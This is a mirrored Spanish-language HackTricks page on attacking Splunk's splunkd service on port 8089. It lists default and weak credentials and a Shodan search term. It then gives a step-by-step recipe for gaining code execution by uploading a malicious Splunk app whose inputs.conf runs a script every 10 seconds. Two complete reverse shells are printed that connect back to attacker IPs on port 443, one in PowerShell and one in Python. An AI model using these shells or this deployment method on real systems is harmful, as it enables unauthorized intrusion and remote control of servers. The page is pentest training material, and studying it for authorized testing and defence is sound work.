mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
119 lines
4.5 KiB
Markdown
119 lines
4.5 KiB
Markdown
# 8089 - Pentesting Splunkd
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
## **Información Básica**
|
|
|
|
- Herramienta de análisis de registros utilizada para la recopilación, análisis y visualización de datos
|
|
- Comúnmente utilizada en monitoreo de seguridad y análisis de negocios
|
|
- Puertos predeterminados:
|
|
- Servidor web: 8000
|
|
- Servicio Splunkd: 8089
|
|
|
|
### Vectores de Vulnerabilidad:
|
|
|
|
1. Explotación de la Versión Gratuita
|
|
|
|
- La versión de prueba se convierte automáticamente en versión gratuita después de 60 días
|
|
- La versión gratuita carece de autenticación
|
|
- Riesgo de seguridad potencial si se deja sin gestionar
|
|
- Los administradores pueden pasar por alto las implicaciones de seguridad
|
|
|
|
2. Debilidades de Credenciales
|
|
|
|
- Versiones más antiguas: Credenciales predeterminadas `admin:changeme`
|
|
- Versiones más nuevas: Credenciales establecidas durante la instalación
|
|
- Potencial para el uso de contraseñas débiles (por ejemplo, `admin`, `Welcome`, `Password123`)
|
|
|
|
3. Oportunidades de Ejecución Remota de Código
|
|
|
|
- Múltiples métodos de ejecución de código:
|
|
- Aplicaciones Django del lado del servidor
|
|
- Puntos finales REST
|
|
- Entradas scriptadas
|
|
- Scripts de alerta
|
|
- Soporte multiplataforma (Windows/Linux)
|
|
- Las entradas scriptadas pueden ejecutar:
|
|
- Scripts Bash
|
|
- Scripts de PowerShell
|
|
- Scripts por lotes
|
|
|
|
Potencial Clave de Explotación:
|
|
|
|
- Almacenamiento de datos sensibles
|
|
- Falta de autenticación en la versión gratuita
|
|
- Múltiples vectores para potencial ejecución remota de código
|
|
- Posibilidad de aprovechar entradas scriptadas para comprometer el sistema
|
|
|
|
### Shodan
|
|
|
|
- `Splunk build`
|
|
|
|
## RCE
|
|
|
|
### Crear Aplicación Personalizada
|
|
|
|
Splunk ofrece un método sofisticado para la ejecución remota de código a través del despliegue de aplicaciones personalizadas, aprovechando sus capacidades de scripting multiplataforma. La técnica de explotación central gira en torno a la creación de una aplicación maliciosa que puede ejecutar shells inversos en sistemas tanto Windows como Linux.
|
|
|
|
Una aplicación personalizada puede ejecutar **scripts de Python, Batch, Bash o PowerShell**. Además, **Splunk viene con Python instalado**, por lo que incluso en sistemas **Windows** podrás ejecutar código python.
|
|
|
|
Puedes usar [**este**](https://github.com/0xjpuff/reverse_shell_splunk) ejemplo con el **`bin`** que contiene un ejemplo para [Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) y [PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1). O podrías crear el tuyo propio.
|
|
|
|
El proceso de explotación sigue una metodología consistente a través de plataformas:
|
|
```
|
|
splunk_shell/
|
|
├── bin (reverse shell scripts)
|
|
└── default (inputs.conf configuration)
|
|
```
|
|
El archivo de configuración crítico `inputs.conf` habilita el script mediante:
|
|
|
|
- Estableciendo `disabled = 0`
|
|
- Configurando un intervalo de ejecución de 10 segundos
|
|
- Definiendo el tipo de fuente del script
|
|
|
|
El despliegue es sencillo:
|
|
|
|
1. Crear el paquete de aplicación maliciosa
|
|
2. Configurar un listener (Netcat/socat) en la máquina atacante
|
|
3. Subir la aplicación a través de la interfaz de Splunk
|
|
4. Activar la ejecución automática del script al subir
|
|
|
|
Ejemplo de shell reversa de Windows PowerShell:
|
|
```bash
|
|
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
|
|
$stream = $client.GetStream();
|
|
[byte[]]$bytes = 0..65535|%{0};
|
|
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
|
|
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
|
|
$sendback = (iex $data 2>&1 | Out-String );
|
|
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
|
|
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
|
|
$stream.Write($sendbyte,0,$sendbyte.Length);
|
|
$stream.Flush()
|
|
};
|
|
$client.Close()
|
|
```
|
|
Ejemplo de shell inverso de Python en Linux:
|
|
```python
|
|
import sys, socket, os, pty
|
|
ip = "10.10.14.15"
|
|
port = "443"
|
|
s = socket.socket()
|
|
s.connect((ip, int(port)))
|
|
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
|
|
pty.spawn('/bin/bash')
|
|
```
|
|
### RCE y Escalación de Privilegios
|
|
|
|
En la siguiente página puedes encontrar una explicación de cómo este servicio puede ser abusado para escalar privilegios y obtener persistencia:
|
|
|
|
{{#ref}}
|
|
../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md
|
|
{{#endref}}
|
|
|
|
## Referencias
|
|
|
|
- [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|